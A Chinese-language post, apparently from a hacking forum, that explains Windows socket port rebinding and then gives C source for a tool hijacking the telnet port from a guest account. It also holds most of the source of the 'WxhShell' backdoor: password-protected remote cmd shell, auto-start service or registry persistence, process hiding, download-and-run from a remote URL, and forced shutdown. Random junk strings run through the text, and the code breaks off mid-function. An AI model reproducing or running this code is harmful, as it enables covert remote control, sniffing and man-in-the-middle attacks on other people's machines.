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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ro*$7j0!Hf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YQG[8I "Q`{+|'=E saddr.sin_family = AF_INET; wO@b=1j 5r.\maW saddr.sin_addr.s_addr = htonl(INADDR_ANY); y,tA~ H'-Fv!l? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7 6~x|6) "!i7U2M' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :c"J$wT/ nchhNU 这意味着什么?意味着可以进行如下的攻击: I1=YSi;A >G92k76G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m0t5oO WW2VW-Hk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4f~CG
r 46o3F" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [-f0s;F1% MeW8aLr 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 DZ?>9W{ N+rLbK* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^2[0cne XtRfzqg?K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 12])``9 X&0m$x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x2ln$dSy7 BP6;dF5E #include ',n;ag`c #include #.?DsK_:@ #include s/0-DHd #include 9aD6mp DWORD WINAPI ClientThread(LPVOID lpParam); ZalG/PFy int main() 1wmS? { j9XY%4. WORD wVersionRequested; =<s+cM DWORD ret; ,miU'<8tQ| WSADATA wsaData; ~O?Gi 4^Yg BOOL val;
81V,yq] SOCKADDR_IN saddr; J)Dw` =O0n SOCKADDR_IN scaddr; 2f] :n int err; EMU~gwPR SOCKET s; 3!`Pv ?|o SOCKET sc; Jg/l<4,K, int caddsize; Z7"8dlb HANDLE mt; #M&rmKv)g DWORD tid; @g(N!n~ wVersionRequested = MAKEWORD( 2, 2 ); HUr;ysw err = WSAStartup( wVersionRequested, &wsaData ); 64z9Yr@ if ( err != 0 ) { L.$9ernVY printf("error!WSAStartup failed!\n"); MI0'ou8l return -1; s<5q%5ix3 } SE)_5|k* saddr.sin_family = AF_INET; =H.l/'/Z z11;r]VI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S,fMGKcq Za}*6N=?* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .+]e9mV saddr.sin_port = htons(23); *E+2E^B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }OJ*o { `sQ\j Nu printf("error!socket failed!\n"); @4^5C- return -1; L^yQb4$&M } E D*=8s2 val = TRUE; Ij(S"P@ //SO_REUSEADDR选项就是可以实现端口重绑定的 p<?~~7V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4,tMaQ { d%Jl9!u printf("error!setsockopt failed!\n"); \O/" F; return -1; ,*Y*ov23aQ } 7)O?jc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vnMt>]w-} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oD4NQR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [@U8&W F8Z<JcOI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h#@l'Cye { B~^MhX
+j ret=GetLastError(); yGT"k,a printf("error!bind failed!\n"); J0a]Wz% return -1; Z2)f$ c } +"Ih'bb`j listen(s,2); bITOA while(1) #HWz.Wb { R[LVx-e7' caddsize = sizeof(scaddr); w(8q qU+\ //接受连接请求 1>jG*tr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yA?>v'K if(sc!=INVALID_SOCKET) ~QFD ^SoK { C$){H"# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hhlQ!WV2 if(mt==NULL) /|t
vGC.# { BF<7.<, printf("Thread Creat Failed!\n"); *yKsgH break; R?qV FMQ } 0&=2+=[c } 0*L|rJf CloseHandle(mt); `!S5FE"- } /D`M?nD7 closesocket(s); sSd WSACleanup(); )MZ]c)JD^ return 0; NLyvi,svS } M$ep.<Z1| DWORD WINAPI ClientThread(LPVOID lpParam) .{k(4_Q?I { TP{lt6wws( SOCKET ss = (SOCKET)lpParam; a3?Dtoy' SOCKET sc; -b~MQ/,2 unsigned char buf[4096]; ih.UzPg SOCKADDR_IN saddr; z{d] ,M long num; T?!^-PD9* DWORD val; ehtiu!Vk DWORD ret; 'G>Ejh@t //如果是隐藏端口应用的话,可以在此处加一些判断 x5v^@_:
jr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *h1Zqb saddr.sin_family = AF_INET; WGN[`D" saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pu=T
pSZ saddr.sin_port = htons(23); %56pP"w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Odxq ]HlbO { %\_I%
yF printf("error!socket failed!\n"); |2CW!is return -1; $ ;>, } 9<kKno val = 100; M$1+,[^f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }U7>_b2 { qnW5I_] ret = GetLastError(); l<PGUm:_ return -1; Fly@"W4a } #jd?ocoY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YH)Unql { U(-9xp+ ret = GetLastError(); vF;6Y(h> return -1; tirw{[X0n } [T"oqO4%] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vm'ReH {
~ i1w,;( printf("error!socket connect failed!\n"); l"}W $3]u$ closesocket(sc); z~4L=tA( closesocket(ss); ^c< <I-o| return -1; ?Ee?Ol?i2 } _S8]W
!c while(1) Il2DZ5-
) { -kES]P?2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 idGkX
? //如果是嗅探内容的话,可以再此处进行内容分析和记录 &_,^OE}K_: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t"2WJ-1k} num = recv(ss,buf,4096,0); bVtboHlY if(num>0) 4S 2I]d send(sc,buf,num,0); 7$x@;%xd else if(num==0) -2v|d]3qG break; ^wb -s num = recv(sc,buf,4096,0); si=/=h if(num>0) \>cZ= send(ss,buf,num,0); 9XT6Gf56 else if(num==0) `>?\MWyu break;
.}ohnnJB0 } fTY @{t closesocket(ss); KK(x)( closesocket(sc); on*?O O' return 0 ; V?Lf&X? } o80pmy7@ ~Az20RrK) ETH`.~% ========================================================== j!mI9*hP aP8Im1<A 下边附上一个代码,,WXhSHELL )7q;Fm_/ g]$>G0E`oD ========================================================== 5Ag]1k{ $msT,$NJ #include "stdafx.h" da\K>An> s?~Abj_ #include <stdio.h> 5zpk6FR$ #include <string.h> mt fDl;/D #include <windows.h> H\8i9RI #include <winsock2.h> +SPC@E_v #include <winsvc.h> -5p=gO #include <urlmon.h> XS9k&~)* GJ%It. #pragma comment (lib, "Ws2_32.lib") RK'3b/T #pragma comment (lib, "urlmon.lib") m
oFK/5cJ 5PKv@Mk #define MAX_USER 100 // 最大客户端连接数 =_%:9FnQ0 #define BUF_SOCK 200 // sock buffer wIxLr{ #define KEY_BUFF 255 // 输入 buffer K_]LK rM [Ps=5 #define REBOOT 0 // 重启 *Ei~2O} #define SHUTDOWN 1 // 关机 |YZ`CN<
k49CS*I #define DEF_PORT 5000 // 监听端口 X%`8h_ s<:"rw` #define REG_LEN 16 // 注册表键长度 SnQ$ #define SVC_LEN 80 // NT服务名长度 d#ld*\| 8k_,Hni // 从dll定义API SwC,=S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *sAoYx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xhUQ.(S`r6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8Y5*
1E* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rRT9)wDa b\=0[kBQw // wxhshell配置信息 ;a{ Dr struct WSCFG { C9gF2ii|? int ws_port; // 监听端口 )KXLL;] char ws_passstr[REG_LEN]; // 口令 +]uy int ws_autoins; // 安装标记, 1=yes 0=no !G\1$"T$ char ws_regname[REG_LEN]; // 注册表键名 8"oS1W char ws_svcname[REG_LEN]; // 服务名 w$Dp m.0( char ws_svcdisp[SVC_LEN]; // 服务显示名
V }8J&(\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 >/e#Z
h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]lz,?izMR int ws_downexe; // 下载执行标记, 1=yes 0=no >:OOuf# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" YI%7#L7C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oq+C<}eg V_+3@C }; %3xH<$Gq5 v{JCEb&wN // default Wxhshell configuration .]r[0U struct WSCFG wscfg={DEF_PORT, Kwh3SU=L} "xuhuanlingzhe", a Mv 1, 'd(}bYr) "Wxhshell", Aba6/ "Wxhshell", YXV![gw0 "WxhShell Service", >#!n"i; "Wrsky Windows CmdShell Service", D KK200j "Please Input Your Password: ", H[-zQ#I9 1, O,^,G<` " http://www.wrsky.com/wxhshell.exe", >IoOCQQ* "Wxhshell.exe" !m_'<=)B4~ }; zw5EaY q#OLb"bTr // 消息定义模块 "<!|am( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rB=1*.}FLc char *msg_ws_prompt="\n\r? for help\n\r#>"; "Jv&=zJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; AqN(htGvx char *msg_ws_ext="\n\rExit."; PCw.NJd$ char *msg_ws_end="\n\rQuit.";
U,Z(h char *msg_ws_boot="\n\rReboot..."; O~qB char *msg_ws_poff="\n\rShutdown..."; rzqCQZHL5 char *msg_ws_down="\n\rSave to "; vja^O
CZ]+B8Pl(x char *msg_ws_err="\n\rErr!"; /3Se*"u char *msg_ws_ok="\n\rOK!"; xg3G B"+Ygvxb char ExeFile[MAX_PATH]; 3l4k2 int nUser = 0; ]j1BEO!Bg HANDLE handles[MAX_USER]; &p=~=&g= int OsIsNt; *l7
ojv Bljh'Qp>C SERVICE_STATUS serviceStatus; E(u[? SERVICE_STATUS_HANDLE hServiceStatusHandle; +?mZ_sf8w VJ;'$SYx // 函数声明 =FwFqjvl int Install(void); .Ta$@sP h} int Uninstall(void); zaoZCyJT% int DownloadFile(char *sURL, SOCKET wsh); [fO]oTh int Boot(int flag); W>B:W 0A void HideProc(void); =q6yb@ int GetOsVer(void); |W#^L`!G int Wxhshell(SOCKET wsl); Bb-x1{t void TalkWithClient(void *cs); ,{E'k+ int CmdShell(SOCKET sock); Xc
Pn int StartFromService(void); k)S7SbQ int StartWxhshell(LPSTR lpCmdLine); !3HMGzt v t(kL(}v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U6M4}q(N] VOID WINAPI NTServiceHandler( DWORD fdwControl ); zEks4yd DbOWnXV"o // 数据结构和表定义 N|7._AR2 SERVICE_TABLE_ENTRY DispatchTable[] = [0J0<JnK { DVpqm6$Q {wscfg.ws_svcname, NTServiceMain}, ]^j)4us {NULL, NULL} %kVpW&
~ }; 8dL(cC !sR`]0 // 自我安装 E; RI.6y int Install(void) +j`*?pPD(. { A>d*<#x char svExeFile[MAX_PATH]; NINyg"g< HKEY key; I}?fy\1A& strcpy(svExeFile,ExeFile); p&ZD1qa (U|W=@8` // 如果是win9x系统,修改注册表设为自启动 ,Hj=]e2? if(!OsIsNt) { lW>bXC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a
nIdCOh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |@d7o]eM| RegCloseKey(key); <PfW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '<XG@L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n*_FC RegCloseKey(key); Dk[[f<H_{ return 0; lT$A;7[ } U)c,ZxE } ql8CgL } hg\$>W~2 else { M+nz~,![ >TtkG|/U-T // 如果是NT以上系统,安装为系统服务 wt)tLMEv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m\jp$ if (schSCManager!=0) meIY00 { \UK 9 SC_HANDLE schService = CreateService L
TO1LAac ( Lww0 LH
> schSCManager, wcV~z:&^5 wscfg.ws_svcname, Soop)e wscfg.ws_svcdisp, Ng;E]2" SERVICE_ALL_ACCESS, W%Ky#!\- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .;$/nz6vk SERVICE_AUTO_START, j_ :4_zdBy SERVICE_ERROR_NORMAL, Iy`Zh@"~ svExeFile, 3 YRhqp"E NULL, gv<9XYByt NULL, 4}?Yp e- NULL, hEEbH@b NULL, *=r,V NULL v?Y9z!M ); +gT?{;3[i if (schService!=0) -
d>)
{ ZM4q@O)/ CloseServiceHandle(schService); B23R9.FK CloseServiceHandle(schSCManager); lm@<i4%$F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^#"!uCq]gM strcat(svExeFile,wscfg.ws_svcname); oOJN?97!k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E#_}y}7JY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zFv>'1$ RegCloseKey(key); 2&5"m;< return 0; @^%zh } ZRcY; ? } u^V`Ucd"R CloseServiceHandle(schSCManager); vp-)$f& } Pk*EnA) } 5z#>>|1># zf2]|]*xz return 1; \.Q"fd?a_D } a"hlPJlG WO_cT26Y // 自我卸载 &a-:ZA@ int Uninstall(void) 6)DYQ^4y { c< \:lhl HKEY key; I_eYTy-a`1 b/ur!2yr if(!OsIsNt) { P3@[x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OGh bH a RegDeleteValue(key,wscfg.ws_regname); v>0xHQD*<M RegCloseKey(key); 5H?`a7q N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q0nSOTQ RegDeleteValue(key,wscfg.ws_regname); ~f){`ZJc RegCloseKey(key); Ok
O;V6` return 0; HtS:'~DYo } 1LcQ*d } ggX'`bK } 9<-AukK m else { tjO||]I dkRJ^~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c+-L>dsss if (schSCManager!=0) WvNX%se]3 { H
VG'v>s@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {w{|y[[d~ if (schService!=0) ae#7*B { `@=}5 9+| if(DeleteService(schService)!=0) { DA[-(
s CloseServiceHandle(schService); ?u 9)
GJO[ CloseServiceHandle(schSCManager);
voV=}.(p return 0; 1<fEz } ^K&&O{ CloseServiceHandle(schService); >l'QX( } r"J1C CloseServiceHandle(schSCManager); 6}{2W< } RR^I*kRH } hRGK W Qj[4gN?}= return 1; 3,3{wGvHHW } roj/GZAy" Nz*qz"T // 从指定url下载文件 )8st int DownloadFile(char *sURL, SOCKET wsh) Ml+.\'r { ( F0.lDZ HRESULT hr; nU)}!` E char seps[]= "/"; kh^AH6{2 char *token; dZ`nv[]k~ char *file; E
Jq=MP char myURL[MAX_PATH]; :}UWy?F char myFILE[MAX_PATH]; hSp[BsF`, K)l{3\9l| strcpy(myURL,sURL); ItC*[ token=strtok(myURL,seps); C&zgt
:q6} while(token!=NULL) ogip#$A}3 { Q%o file=token; kH-1l>": token=strtok(NULL,seps); L.l"'=M } }Jh!B| [q9TTJ@2 GetCurrentDirectory(MAX_PATH,myFILE); K
,f 1c} strcat(myFILE, "\\"); B/i,QBPF] strcat(myFILE, file); (.<Gde# send(wsh,myFILE,strlen(myFILE),0); &AUL]:<s send(wsh,"...",3,0); cV&(L]k>` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 n|H%AC if(hr==S_OK) PrDvRWM return 0; isQ{Xt~K else 0N_Ma')i return 1; `@")R- HEht^/pJ } $-5iwZ B%^B_s // 系统电源模块 qNC.|R int Boot(int flag) e_\4(4x { rM=Q.By+\ HANDLE hToken; wgkh}b
TOKEN_PRIVILEGES tkp; qB<D'h7 i\}, if(OsIsNt) { QIBv}hgcy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X<,sc;"b`k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D
GOc! tkp.PrivilegeCount = 1; ]Ny. gu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zo-s_6uC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e,`+6qP{ if(flag==REBOOT) { S>*i^If if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9t7_7{Q+; return 0; hb_YdnG } 9 oc.`-e\? else { oKA8)~Xqou if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -UUPhGC return 0; -]W AB9 } (`!?p ^>A } cXE42MM else { X/2Xr(z"k if(flag==REBOOT) { Le|Ho^h,Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &"K74 return 0; RUYwDtC } B=u@u([. else { %I&Hx<Hj if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NU I|4X return 0; }`h)+Im= } ;}=v|Dr&I. } )z2Tm4>iql <,HdX,5 return 1; wrac\. } iW.8+?Xq& e@NS=U` < // win9x进程隐藏模块 6b6}HO void HideProc(void) Q$iv27 { )O#>ONm^ 4F)z-<-b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z<sf}6q if ( hKernel != NULL ) 2Z\6xb|u { aOyAP-m, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %RdCSQ9~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -9.S?N'T>; FreeLibrary(hKernel); tm#T8iF } D(@#Gd\Z@ &r/a\t,8n return; a^,6[ } m9wV#Ldu mI@E>VCV[ // 获取操作系统版本 st+X~;PX* int GetOsVer(void) )$#ov-] { ;jo,&C OSVERSIONINFO winfo; `:}GE@] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mxGa\{D#y GetVersionEx(&winfo); vd9l1"S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `~(KbH=] return 1; ;rV0 else
[^8*9?i4 return 0; `.#e4 FBW } 6^if%62l& V[HHP_ // 客户端句柄模块 hz>&E,<8q int Wxhshell(SOCKET wsl) _;G"{e.= { &
WYIfx{ SOCKET wsh; }f; Zx)! struct sockaddr_in client; esLPJx DWORD myID; ,*bI0mFZ ^7.864 while(nUser<MAX_USER) [NQ`S
~_: { >]&LbUW+ int nSize=sizeof(client); 4%KNHeaN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k$i76r if(wsh==INVALID_SOCKET) return 1; Q/1
6D M$FQoRwH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OzA"i y if(handles[nUser]==0) eeoIf4] closesocket(wsh); wHx1CXC else u/hFf3 nUser++; &b i Bm } lJ62[2=V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '2WYbcU `N_N zH return 0; o/CSIvz1 } ;Tvy)*{ _E{SGbCCi // 关闭 socket J&@[=zBYw void CloseIt(SOCKET wsh) S5-}u)XnH { AVZ -g/<
closesocket(wsh); g%4-QCZ, nUser--; ]RML;]^ ExitThread(0); _o8il3 } yLW iY~Fd Vx~[;*{,C9 // 客户端请求句柄 #?@k=e\ void TalkWithClient(void *cs) 5dXC { i
jg'X#E $83TA><a SOCKET wsh=(SOCKET)cs; ']Nw{}eS` char pwd[SVC_LEN]; 3R
!Mfz* char cmd[KEY_BUFF]; V/.Y]dN5 char chr[1]; E@}t1!E< int i,j; S@k4k^Vg @-NdgM< while (nUser < MAX_USER) {
|4\.",Bg G;Q)A$- if(wscfg.ws_passstr) { 9} :n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zF>|
9JU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {-PD3 [f" //ZeroMemory(pwd,KEY_BUFF); }mxy6m , i=0; 17a'C while(i<SVC_LEN) { CKNC"Y*X )|x)KY // 设置超时 &y;('w fd_set FdRead; '{5|[ struct timeval TimeOut; _SJ#k|vcq FD_ZERO(&FdRead); u `1cXL[' FD_SET(wsh,&FdRead); y"<nx3 TimeOut.tv_sec=8; CSN]k)\N( TimeOut.tv_usec=0; [;7&E{,C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $A`D p{e" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xjt/ G):L =nh/w# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%Bk"noCa pwd =chr[0]; jQFAlO(E': if(chr[0]==0xd || chr[0]==0xa) { *8CI'UX pwd=0; G +o)s break; O3bo3Cm$ } c_s=>z i++; r{pTMcDS } C&^"]-t GPy+\P` // 如果是非法用户,关闭 socket nbj &3z, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \S{ise/U } U]riBlg> _8vq]|rC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Du k v[/60 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $z"3_4a x=pq-&9>B while(1) { 6Z] * ce<r t|0Zpp; ZeroMemory(cmd,KEY_BUFF); ^G.PdX$M 2j9Mr // 自动支持客户端 telnet标准 P3jDx{F j=0; 4yW9}=N! while(j<KEY_BUFF) { h.gj4/g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `f,SY cmd[j]=chr[0]; y m<3 if(chr[0]==0xa || chr[0]==0xd) { HFu#-}iNV cmd[j]=0; ^vS+xq|4" break; c| } 3Kc j++; d/vF^v*o0X } *.#d'~+ rK;F]ei // 下载文件 -/*-e
/+b if(strstr(cmd,"http://")) { R#eY@N}\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7%)
F] if(DownloadFile(cmd,wsh)) ~4S@kYe{3K send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@a8>i1& else hg_@Ui@[z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!6sf
GZ } ;i\m:8!; else { "q5Tw+KCfu WI/&r5rq switch(cmd[0]) { ?B3
`?+lM // 帮助 |j($2. case '?': { u )cc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I&^B?"Y break; ;^za/h>r } M >#kfSF+ // 安装 X-%XZDB6 case 'i': { pJ!:mt if(Install()) d%FD=wm send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9(g?{ 6v| else \_;zm+ <{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+!._uA break; +L
D\~dcV+ } OBp<A+a // 卸载 ^}vL ZA case 'r': { 4n_f7'GZg if(Uninstall()) qOAK`{b send(wsh,msg_ws_err,strlen(msg_ws_err),0); OPHf9T3H else T<1*R>el send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=S51q_0 break; N) D;)ZH } qP=4D
9 ] // 显示 wxhshell 所在路径 L6S!?t.{Yv case 'p': { (`<X9w, char svExeFile[MAX_PATH]; f'._{" strcpy(svExeFile,"\n\r"); w ryjs! strcat(svExeFile,ExeFile); M|IR7OtLV send(wsh,svExeFile,strlen(svExeFile),0); j_i/h " break; faH113nc } fR[kjwX)<1 // 重启
naE;f) case 'b': { sTeW4Hnp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !jZXh1g% if(Boot(REBOOT)) B=?4; l7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); E{+V_.tlu else { 80=6B closesocket(wsh); (ns>z7 ExitThread(0); do0;"O0
( } 5H8]N#Y& break; yv1Z*wTpO } 67<Ym0+ = // 关机 Qxb5Y)/jn case 'd': { X;`XkOjk send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7L68voC@U if(Boot(SHUTDOWN)) >HMuh) send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,FWC|uM" else { AY3nQH
closesocket(wsh); R)4L]ZF ExitThread(0); B^Z %38o } 3zi(|B[,? break; 1C)
l)pV } "W!Uxc
// 获取shell ,.Xqb~ case 's': { kaybi 0 CmdShell(wsh); cF6eMml; closesocket(wsh); -UD^O*U ExitThread(0); }?^V9K- break; ]7 W! } W6cA@DN$# // 退出 CF"u8yE case 'x': { +JQ/DNv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 24;F~y8H CloseIt(wsh); ]!l]^/. break; Y*oT( } 6, =oTmFP // 离开 NJ"
d` case 'q': { :f1Q0klwP send(wsh,msg_ws_end,strlen(msg_ws_end),0); zg)-RCG closesocket(wsh); 7ip$#pzo WSACleanup(); Qy!*U%tG' exit(1); dG5p`N% break; ^B)iBfZ } .8[Uk^q } /q.iUwSK> } E=PmOw7b liu%K9-r // 提示信息 !=sM `(=~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YXeL7W } EtVRnI@ } M3>c?,O)J ]r6S|;: return; R`%C]uG } )L^GGy8w >SS
YYy // shell模块句柄 aE]/w1a int CmdShell(SOCKET sock) kTJz . { GJ1ap^k STARTUPINFO si; l]:nncpns ZeroMemory(&si,sizeof(si)); 2|2'? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !aylrJJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7-p9IFcA PROCESS_INFORMATION ProcessInfo; ji'NR char cmdline[]="cmd"; 8HL$y-F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `R\aNgCS} return 0; 7r,s+u. } V(/ @$& f9R~RRz // 自身启动模式 G:u-C<^' int StartFromService(void) $?voQ& { 7bC1!x*qw typedef struct SEf:u { V_)G=#6Dy DWORD ExitStatus; Io8h 8N- DWORD PebBaseAddress; EMe3Xb
` DWORD AffinityMask; .TI=3*`G DWORD BasePriority; nDiy[Y-4Wp ULONG UniqueProcessId; >%x N?% ULONG InheritedFromUniqueProcessId; x:Mh&dq? } PROCESS_BASIC_INFORMATION; ar+ j`QIe LYYz =gvZl PROCNTQSIP NtQueryInformationProcess; C 2$_Ad=s `,-w+3?Al static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % 3"xn!'vf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \w;d4r8x Ib8*rL0p<L HANDLE hProcess; }8joltf PROCESS_BASIC_INFORMATION pbi; ]j=Eof%Rc nU^ -D1s{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r4X0.
